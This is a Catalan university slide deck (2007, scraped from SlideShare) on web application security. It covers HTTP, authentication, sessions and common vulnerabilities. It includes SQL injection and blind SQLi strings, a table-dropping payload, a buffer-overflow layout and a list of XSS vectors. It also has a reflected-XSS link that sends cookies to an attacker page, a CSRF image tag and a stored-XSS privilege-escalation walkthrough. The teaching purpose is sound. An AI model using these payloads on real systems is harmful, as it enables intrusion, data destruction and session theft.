SlideShare a Scribd company logo
1 of 68
Seguretat en
aplicacions web

           Jordi Planadecursach
           jordip@fib.upc.edu

           Héctor Puente
           hector@fib.upc.edu




                                LCFIB- 2007
Parlarem de…


               Protocol HTTP

               Sistemes d’autenticació

               Cookies

               Polítiques de control d’accés

               Tractament d’erros i logging

               Vulnerabilitats més comuns




                                               LCFIB- 2007
Parlarem de…

          Com protegir dades sensibles

          Polítiques de seguretat

          Testing de seguretat

          Dark side of AJAX

          Polítiques de control d’accés

          Firewalls d’aplicació: modsecurity




                                               LCFIB- 2007
Introducció


  Que tenen en comú la
majoria d’aplicacions web?



                         LCFIB- 2007
Que tenen el port 80
  obert (o el 443)




                       LCFIB- 2007
• L’atacant envia una petició HTTP al
                                          servidor web
                                          • El codi del servidor web realitza
                                          operacions per les quals no està
                                          preparat.
Atacant                                   • Es retorna una resposta a l’atacant
                           Servidor Web
                                          amb dades que pretenien ser
                                          segures.


• Que passa amb els insiders ?



                                                                      LCFIB- 2007
Bugs d’aplicació
       VS
Bugs de plataforma




                     LCFIB- 2007
Com es realitzen els atacs?

                     La majoria d’atacs es realitzen desde el navegador

• Firefox plugins:
     • LiveHTTP Headers
     • Tamperdata
     • Web Developer
• Web proxies:
     • OWASP WebScarab
     • Achilles
• Escaners de vulnerabilitats:
     • Nessus



                                                                          LCFIB- 2007
90%
80%
70%
60%
50%
                                                   Xarxa
40%
                                                   Aplicaions
30%
20%
10%
 0%
           Atacs             Inversió


    75% dels atacs estan destinats a la capa d’aplicació
2/3 aplicacions web són en major o menor mesura vulnerables


                                                                LCFIB- 2007
HTTP
                        Hyper Text Transfer Protocol


• Mètodes: GET, POST, TRACE, etc…
• Headers
    • A l’estándar HTTP hi ha 47 headers diferents
    • Uns dels més usats són: Accept, User-Agent, Host, Referer, Set-Cookie

• Paràmetres
     • Passats per URL (GET)
     • Per formularis (POST)
     • Personalitzats per l’aplicació (headers)




                                                                        LCFIB- 2007
GET http://www.fib.upc.edu/fib/buscar.html?lang=0&section=0&s=hola HTTP/1.0
Accept: */*
Accept-Language: es
Cookie: SSO_ID=Ba3U8owbH4z0Q/K12gU2Yw==;
JSESSIONID=DCD16D163B38B02858E466A216FF7612.pim;
Apache=147.83.58.208.1184685235517970
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR
1.1.4322; InfoPath.1; .NET CLR 2.0.50727)
Host: raco.fib.upc.es
Connection: Keep-Alive




                                                                   LCFIB- 2007
POST https://raco.fib.upc.es:443/cas/servlet/lcfib.login.CASLogin HTTP/1.0
Referer: http://www.fib.upc.edu/fib/buscar.html?lang=0&section=0
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322;
InfoPath.1; .NET CLR 2.0.50727)
Host: raco.fib.upc.es
Cache-Control: no-cache
Cookie: CASTGC=TGT-4579-xzlCXcMfJzdZyMr5kKEQ0WmzM1ArOTuaXsp-50;
JSESSIONID=AF2BCACA6BB144A4392EF4FA1B467605.pim;
SSO_ID=Ba3U8owbH4z0Q/K12gU2Yw==;

url_service=https%3A%2F%2Fraco.fib.upc.es%2Fservlet
%2Flcfib.racons.Portal&username=usuari&password=contrassenya&x=0&y=0




                                                                              LCFIB- 2007
Interceptant peticions HTTP

       Web Scarab




                              LCFIB- 2007
Mètodes d’autenticació


Com identificar qui està
   fent peticions?



                           LCFIB- 2007
• Mètodes d’identificar qui està fent les peticions
    • Amb alguna cosa que saps (contrassenya)
    • Alguna cosa que saps (token)
    • Alguna cosa que ets (mètodes biomètrics)
    • Una combinació dels anteriors




                                                      LCFIB- 2007
• Basic HTTP Authentication
    • L’usuari envia una petició a una pàgina
    • El servidor respon amb un error 401 (unauthorized) i
    avisa que accepta http authentication
    • El navegador pregunta a l’usuari username i
    password, els codifica en base64 i els envia al servidor
    • El servidor valida els credencials i autoritza o no.


     No hi ha forma de deslogejar-se
     La contrassenya s’envia en text plà


• Digest HTTP Authentication



                                                               LCFIB- 2007
• Autenticació basada en formularis
    • Formulari amb POST
    • Es crea una cookie
    • Opció recomenada


• Tots els mètodes haurien d’anar acompanyats de SSL per
tal de fer l’enviament de contrassenyes segur




                                                           LCFIB- 2007
• Una vegada s’envien els credencials s’han de validar contra un backend
    • Base de dades SQL
    • Directori LDAP
    • Arxius XML
    • /etc/passwd
    • Altres mètodes


• Tots els mètodes haurien d’anar acompanyats de SSL per tal de fer
l’enviament de contrassenyes segur




                                                                           LCFIB- 2007
• Sniffing
     • Connexió al mateix hub
     • Connexió al mateix switch (arpspoofing)
     • Xarxes wireless
     • Xarxes intermitges (ISP’s)
     • Accés al servidor de destí


• Man in the middle
• Ingenieria social
• Força bruta




                                                 LCFIB- 2007
• Recomanacions (No ensenyar mai les contrassenyes)


    • Minimitzar el nombre de llocs on l’usuari es pot autenticar
    • En aplicacions grans utilitzar mètodes d’autenticació centralizada, Single
    Sign On
    • En els formularis on s’escriuen passwords utilitzar ocultació ******** <input
    type=“password” … >
    • No guardar mai passwords dins el codi HTML generat (hiddens)
    • Utilitzar HTTPS
    • No manejar manualment tokens i identificadors sessions




                                                                           LCFIB- 2007
• Recomanacions (Emmagatzament racional)


      • Guardar contrassenyes encriptades (SHA-256 SHA-1024)
      • En cas de no poder guardar-les en un backend encriptat
      • Enviar les passwords únicament sobre HTTPS
      • Esborrar passwords de memoria (memory dumps)
      • Tenir en compte la memoria cache


• Utilitzar llibreries de seguretat de proveidors segurs
    • JCE (Java)
    • System.Security.Cryptography (.NET)




                                                                 LCFIB- 2007
• Seguretat de la contrassenya


    • Definir un tamany mínim de les contrassenyes
    • Posar dates de caducitat en les contrassenyes
    • Forçar que l’usuari no utilitzi contrassenyes referents a les seves dades
    • No utilitzar contrassenyes amb paraules que apareixen al lloc web


 • Potència d’una contrassenya
      • R = Contrassenyes per segon (en remot 200, en local 10.000.000)
      • C = Nombre de caràcters de la contrassenya
      • S = Tamany de l’alfabet


          P = S^C / R         Exemple: R = 200 C = 5 S = 36
                                           P = 84h

                                                                          LCFIB- 2007
• Recomanacions (Els errors no donen pistes)


    • No diferenciar quan s’ha introduit malament usuari o password
    • Utilitzar el mateix missatge d’error per tot el que no sigui un login correcte


• Recomanacions (Bloqueix de comptes)
     • No banejar mai l’usuari per ip
     • Bloquejar l’usuari després de 3 intents insatisfactoris
     • Desbloquejar l’usuari després de cert temps o manualment
     • Utilitzar captcha’s després de 3 intents




                                                                            LCFIB- 2007
• Recuperació de la contrassenya
    • Mai enviar la contrassenya anterior
    • Donar la possibilitat d’introduir una “pregunta secreta”
    • No deixar que la resposta a la rpegunta sigui més dèbil que la contrassenya


• Canvi de contrassenya
     • Preguntar sempre la contrassenya anterior abans de fer el canvi
     • Demanar una reautenticació després del canvi de contrassenya




                                                                         LCFIB- 2007
Una bona gestió de les contrassenyes implica
          una aplicació segura?




                                       LCFIB- 2007
Cookies




          LCFIB- 2007
• Que és una cookie?
• S’haurien d’utilitzar només per identificar sessions
• També s’utilitzen per tracking i balanceix



          Session ID             Objecte Sessió
1AFD6786C876A087F6D
                                                          Http
O7CAFO6FAB6O6BB55A                                       Session
76C98A6F9A6987F9083
              ….




                                                                   LCFIB- 2007
• Cicle de vida d’una sessió
    • Es visita per primer cop un lloc web (el servidor envia una cookie al client)
    • Autenticació (a la sessió s’indica que l’usuari ha estat autenticat)
    • La sessioó caduca per Idle o per un timeout absolut
    • Logout (borrat de la cookie i sortida del lloc web)
    • Reautenticació (generar un altre cookie)



  No inventar-se un sistema de sessions propi
  Utilizar sistemes de sessions integrats amb la plataforma JSession, SessionID




                                                                             LCFIB- 2007
Quanta gent fa un logout abans de tancar el
               navegador?


  La majoria de cookies no tenen timeout




                                       LCFIB- 2007
• Amanaces: Session hijacking
    • Endevinar la session id
        • Força bruta (inprovable)
        • Tenir accés al codi font i deduir quina serà per el pròxim usuari

    • Robar la session Id
        • Cross site scripting (XSS)
        • Sniffing (no usar HTTPS)
        • URL-Rewriting, caches, logs, copy-paste, etc…
        • Fixar la session Id




                                                                          LCFIB- 2007
• Recomanacions en cas d’inventar-se un sistema de sessions
    • La session Id no s’ha de poder endevinar
         • Ha de ser suficientment llarga (20bytes)
         • Ha de ser suficientment aleatoria
    • Ha de ser única per cada usuari loggejat


• És díficil mantenir aquestes propietats
     • No és tants sols un idintificador aleatori
     • S’utilitzen algoritmes de disperssió
     • Hi ha contingut criptgràfic




                                                              LCFIB- 2007
• En resum, recomanacions geneals
    • Donar un mecanisme de LogOut
    • Les sessions haurien de caducar
    • Invalidar la cookie anterior en un relogin.
    • No s’haurien de loggejar ni cachejar sessions
    • No posar la session Id a la url com a paràmtre GET
    • No inventar-se el sistema de sessions




                                                           LCFIB- 2007
Una bona gestió de les sessions implica una
            aplicació segura?




                                       LCFIB- 2007
Vulnerabilitats més
      usuals




                      LCFIB- 2007
• Validació de l’entrada
   • SQL Injection
   • Blind SQL Injection
   • XPath/Command/Altres Injections
   • Buffers overflow


• Cross Site Scripting (XSS)
• Cross Site Request Forgery (CSRF)
• Remote file inclusion




                                       LCFIB- 2007
Validació de l’entrada



• Adonar-se del contingut que es pot posar dins un formulari
• Detectar si el contingut és realment l’esperat




                                                               LCFIB- 2007
SQL Injection




                          • L’atacant envia una petició HTTP al
                          servidor web
                          • El codi del servidor web realitza
                          operacions per les quals no està
                          preparat.
                          • Es retorna una resposta a l’atacant
                          amb dades que pretenien ser
Atacant                   segures.
           Servidor Web




                                                      LCFIB- 2007
SQL Injection

• Són vulnerables aquelles aplicacions que tenen de backend una base de
dades SQL

    <form method="post" action="http://www.diseney.com/login.php">
       <input name=“username" type="text" id="tfUName">
       <input name=“password" type="password" id="tfUPass">
    </form>


   String username = request.getParameter(“username”);
   String password = request.getParameter(“password”);
   String sql = “SELECT * FROM USERNAME WHERE username=‘” +
   username + “’ and password=‘” + password + “’”;
   ResultSet rs = smt.executeQuery(sql);
   If( rs.results() > 0) login = true;
   else login = false;


                                                                      LCFIB- 2007
String sql = “SELECT * FROM logins WHERE username=‘” + username + “’ AND password=‘” + password + “’”;



Username: admin
Password: 1234
SQL generat: SELECT * FROM logins WHERE username=‘admin’ AND password=‘1234’;


Username: admin
Password: ‘ OR ‘’=‘
SQL generat: SELECT * FROM logins WHERE username=‘admin’ AND password=‘‘ OR ‘’=‘’;



Username: admin
Password: ’; DROP TABLE logins where ‘’=‘
SQL generat: SELECT * FROM logins WHERE username=‘admin’ AND password=‘’;
 drop table logins where ‘’=‘’;




                                                                                           LCFIB- 2007
Com s’evita la SQL injection?


És tan fàcil com escapar cometes
             “  ”
             ‘  ’




                                   LCFIB- 2007
Blind SQL Injection

• Tot hi escapar les cometes...


    <form method="post" action="http://www.diseney.com/login.php">
       <input name=“username" type="text" id="tfUName">
       <input name=“pin_code" type="password" id="tfUPass">
    </form>


   String username = request.getParameter(“username”);
   String pin_code = request.getParameter(“password”);
   String sql = “SELECT * FROM USERNAME WHERE username=‘” +
   username + “’ and pin_code= ” + pin_code;
   ResultSet rs = smt.executeQuery(sql);
   If( rs.results() > 0) login = true;
   else login = false;



                                                                     LCFIB- 2007
String sql = “SELECT * FROM logins WHERE username=‘” + username + “’ AND pin_code=” + pin_code;



Username: admin
Password: 1 OR 1=1
SQL generat: SELECT * FROM logins WHERE username=‘admin’ AND pin_code=1 OR 1=1


Altres vectors:
1 OR HAVING 1=1 Error, ‘cuenta_corriente’ is not on the group by clause
1 OR GROUP BY cuenta_corriente HAVING 1=1 Error, ‘dni’ is not on the group by clause
1 OR GROUP BY cuenta_corriente,dni HAVING 1=1 Error, ‘direccion’ is not on the group by clause



1 OR (SELECT cuenta_corriente FROM logins) = “1234 1000 6666 45256”

1 OR (SELECT cuenta_corriente FROM logins) > “5000 0000 0000 0000”

1 OR (SELECT substr(cuenta_corriente,1) FROM logins) = chr(1)




                                                                                          LCFIB- 2007
Com s’evita la BSQL injection?


     És tan fàcil com validar els enters


String pinString = request.getParameter(“pin_code”);
try{
  int pinCode = Integer.parseInt(pinString);
}catch (NumericException ex){
  System.out.println(“Hacker go away!”);
}



                                                 LCFIB- 2007
Buffer Overflow




#include <stdlib.h>
#include <stdio.h>

char* read_POST(){
    char query_string[1024];
    int query_size;
    query_size = atoi(getenv(“CONTENT_LENGTH”));
    fread(query_string,query_size,1,stdin);
    return query_string;
}




                                                LCFIB- 2007
INPUT

• Codi a executar (shellcode)
• Acabar d’emplenar fins 1024
bytes
• 4 bytes qualsevols
• Adreça de retorn que ha de
conicidir amb l’inici del buffer




                       LCFIB- 2007
LCFIB- 2007
Buffer Overflow




#include <stdlib.h>
#include <stdio.h>

char* read_POST(){
    char query_string[1024];
    int query_size;
    query_size = atoi(getenv(“CONTENT_LENGTH”));
    fread(query_string,query_size,1,stdin);
    return query_string;
}




                                                LCFIB- 2007
Solució: comprovar tamany de l’entrada




#include <stdlib.h>
#include <stdio.h>

char* read_POST(){
    char query_string[1024];
    int query_size;
    query_size = atoi(getenv(“CONTENT_LENGTH”));
    fread(query_string,min(query_size,1024),1,stdin);
    return query_string;
}




                                                    LCFIB- 2007
Altres injections


• Depenent del backend que s’utilitza
• Validar que l’entrada no pugui ser interpetada com a codi del llenguatge per
communicar-se amb el backend
• XPath injection (Base de dades Exist, arxius XML)
• Command injection




String consulta = “user[name/text()=‘” + usuari + ”' and
password/text()=‘” + password + ”']/account/text())”

XmlReader.query(consulta);



                                                                           LCFIB- 2007
Cross Site Scripting (XSS)

• És una vulnerabilitat que permet executar scripts al exploador de la víctima
• Perquè XSS?
• Són vulnerables els navegadors que utilitzen Javascript (la majoria) o VBScript
(internet explorer).
• Es poden posar scripts malignes en pàgines web


• Conseqüències
    • Moltes vegades aquest script el que fan és robar cookies
    • Es poden “desfassar” webs
    • Si l’explorador té un bug del sandbox estas perdut




                                                                             LCFIB- 2007
Stored XSS

• L’atacant troba un lloc web on poder posar JavaScript
• L’atacant posa un script maligne
• Qualsevol persona que visiti aquest lloc web estarà executant aquest script


• L’script pot enviar la cookie a la pàgina de l’atacant i aquest pot realitzar un atac de
suplantació d’identitat.


• Si l’explorador té un bug del sandbox l’script pot navegar a altres llocs webs i
robar dades confidencials, adreces de correu (gmail), contes bancaris (bancs),
sessions, etc.


• Si l’explorador corre en permisos d’administració es poden arribar a crear arxius a
disc i executa codi arbritari.


                                                                                LCFIB- 2007
Reflected XSS

• L’atacant no pot posar directament javascript
• Aquest troba un camp a un formulari on el s’introdueix apareix directament per
pantalla (exemple: buscador)
• L’atacant genera un link malicios per tal de que quan es cliqui s’executi aquest
script
•http://www.disney.com/buscador.jsp?s=<script>document.url=“http://hacker/pagina.php”
>
• Quan es clica el link l’usuari veu per pantalla el que ha buscat, que en aquest cas
és: <script>document.url=“http://hacker/pagina.php”+document.cookie;</script>
• S’envia la cookie a la pàgina de l’atacant


• Els atacs XSS es tornen molt més perillosos si s’utilitza AJAX perque es poden
tenir peticions obertes invisibles.



                                                                              LCFIB- 2007
Com s’eviten els atacs XSS?


  S’anula completament el “Rich Text”
                   o
Es posa un ciri al monestir de Montserrat




                                        LCFIB- 2007
Vectors XSS
           <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

                 <IMG SRC="javascript:alert('XSS');">

                   <IMG SRC=javascript:alert('XSS')>

                  <IMG SRC=JaVaScRiPt:alert('XSS')>

             <IMG SRC=javascript:alert(&quot;XSS&quot;)>

                                <IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&
  #97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

                             <IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x
  61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>



                                                               LCFIB- 2007
Vectors XSS

<BODY onload!#$%&()*~+-_.,:;?@[/|]^`=alert("XSS")>

        <<SCRIPT>alert("XSS");//<</SCRIPT>

    <iframe src=http://ha.ckers.org/scriptlet.html <

                    ";alert('XSS');//

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

  <BODY BACKGROUND="javascript:alert('XSS')">




                                                       LCFIB- 2007
Evitar XSS

• Cada dia en surten de nous
• Són molt difícils de detectar
• No hi ha cap llibreria que els detecti
• Es poden evitar utilitzan application firewalls
• Pàgina web de referència: http://ha.ckers.org/xss.html
• Codificant l’entrada amb entitats HTML s’evita, es perd el “rich text”
• S’han de seguir polítiques molt estrictes
• Utilizant wrappers (llenguatges intermitjos) s’eviten




                                                                           LCFIB- 2007
Cross Site Reference Forgery (CSRF)

• Bàsicament consisteix en aconseguir que l’explorador de la víctima visiti URL
arbitràries.
• Es com si l’atacant t’agafa el ratolí i et fa clicar allà on vol
• Permet realitzar operacions complexes (logejarte en un banc i fer una tranferència)
• Consisteix en posar les url’s que es vol que la victima visiti dins d’un tag <img>


• Exemple: Enviem un mail al webmaster del raco amb la següent imatge

<img src=“http://raco.fib.upc.edu/posar-notes.jsp?user=hacker&asig=TC&nota=10”>




                                                                               LCFIB- 2007
Com s’eviten els atacs CSRF?


Deixant d’utilitzar el correu electrònic.


Molts lectors de mails pregunten abans de carregar imatges.




                                                         LCFIB- 2007
Evitar CSRF

• Passant paràmetres per POST
• Les operacions sensibles s’han de fer en diversos passos
• No obrint imatges de correus electrònics de persones en que no es confia


• La combinació de XSS + CSRF només té una forma d’evitar-se
• Abans de realitzar operacions sensibles (notes, transferències bancaries) posar
sistemes anti-robots: captcha, preguntes, operacions matemàtiques




                                                                       LCFIB- 2007
Exemple pràctic amb e-Catalunya




                                  LCFIB- 2007
Objectiu

  • Sense tenir privilegis crear un usuari amb permisos d’administració

  Procediment

  • Esbrinar URL de creació d’usuari i canvi de privilègis
  • Creació d’un script que cridi aquestes URL
  • Adjuntar l’script en una eina
  • Fer que un administrador executi aquest script


En la última versió: Modificació per tal de no poder incluir script a les eines
Problemàtica: Dificultat de detectar la inclusió d’un script



                                                                             LCFIB- 2007
LCFIB- 2007
Obtenció d’URL d’administració

          Hacker

                           Obtenir URL




CREAR NOU USUARI
  + Esbrinar la URL de la pàgina de crear un nou usuari
  + Esbrinar el nom dels camps del formulari (nom, id, email)
  + Construir URL tal que si s’accedeix a ella es dona d’alta
  l’usuari especificat


ASSIGNAR PERMISOS D’ADMINISTRACIÓ
  + Idem que l’anterior però usant la pàgina d’assignar permisos

                                                                   LCFIB- 2007
Creació de Script maligne

                Hacker
                                                     <script>
                                                      …
                                                       crear_usuari(X)
                                                       fer_administrador(X)
                                                      …
                                                     </script>




         SCRIPT
           + Cridar URL1 (crear nou usuari)
           + Cridar URL2 (assigna al nou usuari permisos d’administrador)



(si s’utilitzen peticions AJAX l’usuari no se n’adona de que ha executat un script)

                                                                              LCFIB- 2007
Introduir SCRIPT a l’e-Blog


       Hacker




                       Introduir
                         script
                     maligne com
<script>             a comentari
 …                    a l’e-blog
  crear_usuari(X)
  administrador(X)
 …
</script>




                                                                 LCFIB- 2007
Ingenieria social

Hacker                                                        Administrador

              Enviar un mail a l’admin amb l’enllaç al blog




  Quan l’administrador vagi a veure el Blog, si aquest està identificat,
 s’executarà l’script insertat.

  Aquest crearà un nou usuari amb permisos d’administrador que el
 hacker podrà utilitzar per fer maldats.

  També es podria robar la cookie de l’admin per tal de fer una
 suplantació d’identitat.

                                                                      LCFIB- 2007
LCFIB- 2007
Exemple pràctic amb e-Catalunya




                                  LCFIB- 2007

More Related Content

Similar to Seguretat en aplicacions web

10 anys de racó
10 anys de racó10 anys de racó
10 anys de racóbertex
 
Presentació Ingent Network
Presentació Ingent NetworkPresentació Ingent Network
Presentació Ingent Networkd3scala
 
ARSO-M6: Administracio del web - Presentacio
ARSO-M6: Administracio del web - PresentacioARSO-M6: Administracio del web - Presentacio
ARSO-M6: Administracio del web - PresentacioAurora Lara Marin
 
Presentació d'Ingent Network
Presentació d'Ingent NetworkPresentació d'Ingent Network
Presentació d'Ingent Networkd3scala
 
HyperText Transfer Protocolo
HyperText Transfer ProtocoloHyperText Transfer Protocolo
HyperText Transfer ProtocoloFrancesc Perez
 
Llenguatges de programació web
Llenguatges de programació webLlenguatges de programació web
Llenguatges de programació webToni Amengual
 
Criptografia InhalàMbrica
Criptografia InhalàMbricaCriptografia InhalàMbrica
Criptografia InhalàMbricakategat
 
Alternatives a streming isaac
Alternatives a streming isaacAlternatives a streming isaac
Alternatives a streming isaacelquesigui
 
Xarxes Multimèdia - PAC 2 - Grau Multimèdia - UOC
Xarxes Multimèdia - PAC 2 - Grau Multimèdia - UOCXarxes Multimèdia - PAC 2 - Grau Multimèdia - UOC
Xarxes Multimèdia - PAC 2 - Grau Multimèdia - UOCPaquita Ribas
 

Similar to Seguretat en aplicacions web (11)

Presentacio sobre html
Presentacio sobre htmlPresentacio sobre html
Presentacio sobre html
 
Presentació del servidor Apache
Presentació del servidor ApachePresentació del servidor Apache
Presentació del servidor Apache
 
10 anys de racó
10 anys de racó10 anys de racó
10 anys de racó
 
Presentació Ingent Network
Presentació Ingent NetworkPresentació Ingent Network
Presentació Ingent Network
 
ARSO-M6: Administracio del web - Presentacio
ARSO-M6: Administracio del web - PresentacioARSO-M6: Administracio del web - Presentacio
ARSO-M6: Administracio del web - Presentacio
 
Presentació d'Ingent Network
Presentació d'Ingent NetworkPresentació d'Ingent Network
Presentació d'Ingent Network
 
HyperText Transfer Protocolo
HyperText Transfer ProtocoloHyperText Transfer Protocolo
HyperText Transfer Protocolo
 
Llenguatges de programació web
Llenguatges de programació webLlenguatges de programació web
Llenguatges de programació web
 
Criptografia InhalàMbrica
Criptografia InhalàMbricaCriptografia InhalàMbrica
Criptografia InhalàMbrica
 
Alternatives a streming isaac
Alternatives a streming isaacAlternatives a streming isaac
Alternatives a streming isaac
 
Xarxes Multimèdia - PAC 2 - Grau Multimèdia - UOC
Xarxes Multimèdia - PAC 2 - Grau Multimèdia - UOCXarxes Multimèdia - PAC 2 - Grau Multimèdia - UOC
Xarxes Multimèdia - PAC 2 - Grau Multimèdia - UOC
 

Seguretat en aplicacions web

  • 1. Seguretat en aplicacions web Jordi Planadecursach jordip@fib.upc.edu Héctor Puente hector@fib.upc.edu LCFIB- 2007
  • 2. Parlarem de… Protocol HTTP Sistemes d’autenticació Cookies Polítiques de control d’accés Tractament d’erros i logging Vulnerabilitats més comuns LCFIB- 2007
  • 3. Parlarem de… Com protegir dades sensibles Polítiques de seguretat Testing de seguretat Dark side of AJAX Polítiques de control d’accés Firewalls d’aplicació: modsecurity LCFIB- 2007
  • 4. Introducció Que tenen en comú la majoria d’aplicacions web? LCFIB- 2007
  • 5. Que tenen el port 80 obert (o el 443) LCFIB- 2007
  • 6. • L’atacant envia una petició HTTP al servidor web • El codi del servidor web realitza operacions per les quals no està preparat. Atacant • Es retorna una resposta a l’atacant Servidor Web amb dades que pretenien ser segures. • Que passa amb els insiders ? LCFIB- 2007
  • 7. Bugs d’aplicació VS Bugs de plataforma LCFIB- 2007
  • 8. Com es realitzen els atacs? La majoria d’atacs es realitzen desde el navegador • Firefox plugins: • LiveHTTP Headers • Tamperdata • Web Developer • Web proxies: • OWASP WebScarab • Achilles • Escaners de vulnerabilitats: • Nessus LCFIB- 2007
  • 9. 90% 80% 70% 60% 50% Xarxa 40% Aplicaions 30% 20% 10% 0% Atacs Inversió 75% dels atacs estan destinats a la capa d’aplicació 2/3 aplicacions web són en major o menor mesura vulnerables LCFIB- 2007
  • 10. HTTP Hyper Text Transfer Protocol • Mètodes: GET, POST, TRACE, etc… • Headers • A l’estándar HTTP hi ha 47 headers diferents • Uns dels més usats són: Accept, User-Agent, Host, Referer, Set-Cookie • Paràmetres • Passats per URL (GET) • Per formularis (POST) • Personalitzats per l’aplicació (headers) LCFIB- 2007
  • 11. GET http://www.fib.upc.edu/fib/buscar.html?lang=0&section=0&s=hola HTTP/1.0 Accept: */* Accept-Language: es Cookie: SSO_ID=Ba3U8owbH4z0Q/K12gU2Yw==; JSESSIONID=DCD16D163B38B02858E466A216FF7612.pim; Apache=147.83.58.208.1184685235517970 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Host: raco.fib.upc.es Connection: Keep-Alive LCFIB- 2007
  • 12. POST https://raco.fib.upc.es:443/cas/servlet/lcfib.login.CASLogin HTTP/1.0 Referer: http://www.fib.upc.edu/fib/buscar.html?lang=0&section=0 Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Host: raco.fib.upc.es Cache-Control: no-cache Cookie: CASTGC=TGT-4579-xzlCXcMfJzdZyMr5kKEQ0WmzM1ArOTuaXsp-50; JSESSIONID=AF2BCACA6BB144A4392EF4FA1B467605.pim; SSO_ID=Ba3U8owbH4z0Q/K12gU2Yw==; url_service=https%3A%2F%2Fraco.fib.upc.es%2Fservlet %2Flcfib.racons.Portal&username=usuari&password=contrassenya&x=0&y=0 LCFIB- 2007
  • 13. Interceptant peticions HTTP Web Scarab LCFIB- 2007
  • 14. Mètodes d’autenticació Com identificar qui està fent peticions? LCFIB- 2007
  • 15. • Mètodes d’identificar qui està fent les peticions • Amb alguna cosa que saps (contrassenya) • Alguna cosa que saps (token) • Alguna cosa que ets (mètodes biomètrics) • Una combinació dels anteriors LCFIB- 2007
  • 16. • Basic HTTP Authentication • L’usuari envia una petició a una pàgina • El servidor respon amb un error 401 (unauthorized) i avisa que accepta http authentication • El navegador pregunta a l’usuari username i password, els codifica en base64 i els envia al servidor • El servidor valida els credencials i autoritza o no. No hi ha forma de deslogejar-se La contrassenya s’envia en text plà • Digest HTTP Authentication LCFIB- 2007
  • 17. • Autenticació basada en formularis • Formulari amb POST • Es crea una cookie • Opció recomenada • Tots els mètodes haurien d’anar acompanyats de SSL per tal de fer l’enviament de contrassenyes segur LCFIB- 2007
  • 18. • Una vegada s’envien els credencials s’han de validar contra un backend • Base de dades SQL • Directori LDAP • Arxius XML • /etc/passwd • Altres mètodes • Tots els mètodes haurien d’anar acompanyats de SSL per tal de fer l’enviament de contrassenyes segur LCFIB- 2007
  • 19. • Sniffing • Connexió al mateix hub • Connexió al mateix switch (arpspoofing) • Xarxes wireless • Xarxes intermitges (ISP’s) • Accés al servidor de destí • Man in the middle • Ingenieria social • Força bruta LCFIB- 2007
  • 20. • Recomanacions (No ensenyar mai les contrassenyes) • Minimitzar el nombre de llocs on l’usuari es pot autenticar • En aplicacions grans utilitzar mètodes d’autenticació centralizada, Single Sign On • En els formularis on s’escriuen passwords utilitzar ocultació ******** <input type=“password” … > • No guardar mai passwords dins el codi HTML generat (hiddens) • Utilitzar HTTPS • No manejar manualment tokens i identificadors sessions LCFIB- 2007
  • 21. • Recomanacions (Emmagatzament racional) • Guardar contrassenyes encriptades (SHA-256 SHA-1024) • En cas de no poder guardar-les en un backend encriptat • Enviar les passwords únicament sobre HTTPS • Esborrar passwords de memoria (memory dumps) • Tenir en compte la memoria cache • Utilitzar llibreries de seguretat de proveidors segurs • JCE (Java) • System.Security.Cryptography (.NET) LCFIB- 2007
  • 22. • Seguretat de la contrassenya • Definir un tamany mínim de les contrassenyes • Posar dates de caducitat en les contrassenyes • Forçar que l’usuari no utilitzi contrassenyes referents a les seves dades • No utilitzar contrassenyes amb paraules que apareixen al lloc web • Potència d’una contrassenya • R = Contrassenyes per segon (en remot 200, en local 10.000.000) • C = Nombre de caràcters de la contrassenya • S = Tamany de l’alfabet P = S^C / R Exemple: R = 200 C = 5 S = 36 P = 84h LCFIB- 2007
  • 23. • Recomanacions (Els errors no donen pistes) • No diferenciar quan s’ha introduit malament usuari o password • Utilitzar el mateix missatge d’error per tot el que no sigui un login correcte • Recomanacions (Bloqueix de comptes) • No banejar mai l’usuari per ip • Bloquejar l’usuari després de 3 intents insatisfactoris • Desbloquejar l’usuari després de cert temps o manualment • Utilitzar captcha’s després de 3 intents LCFIB- 2007
  • 24. • Recuperació de la contrassenya • Mai enviar la contrassenya anterior • Donar la possibilitat d’introduir una “pregunta secreta” • No deixar que la resposta a la rpegunta sigui més dèbil que la contrassenya • Canvi de contrassenya • Preguntar sempre la contrassenya anterior abans de fer el canvi • Demanar una reautenticació després del canvi de contrassenya LCFIB- 2007
  • 25. Una bona gestió de les contrassenyes implica una aplicació segura? LCFIB- 2007
  • 26. Cookies LCFIB- 2007
  • 27. • Que és una cookie? • S’haurien d’utilitzar només per identificar sessions • També s’utilitzen per tracking i balanceix Session ID Objecte Sessió 1AFD6786C876A087F6D Http O7CAFO6FAB6O6BB55A Session 76C98A6F9A6987F9083 …. LCFIB- 2007
  • 28. • Cicle de vida d’una sessió • Es visita per primer cop un lloc web (el servidor envia una cookie al client) • Autenticació (a la sessió s’indica que l’usuari ha estat autenticat) • La sessioó caduca per Idle o per un timeout absolut • Logout (borrat de la cookie i sortida del lloc web) • Reautenticació (generar un altre cookie) No inventar-se un sistema de sessions propi Utilizar sistemes de sessions integrats amb la plataforma JSession, SessionID LCFIB- 2007
  • 29. Quanta gent fa un logout abans de tancar el navegador? La majoria de cookies no tenen timeout LCFIB- 2007
  • 30. • Amanaces: Session hijacking • Endevinar la session id • Força bruta (inprovable) • Tenir accés al codi font i deduir quina serà per el pròxim usuari • Robar la session Id • Cross site scripting (XSS) • Sniffing (no usar HTTPS) • URL-Rewriting, caches, logs, copy-paste, etc… • Fixar la session Id LCFIB- 2007
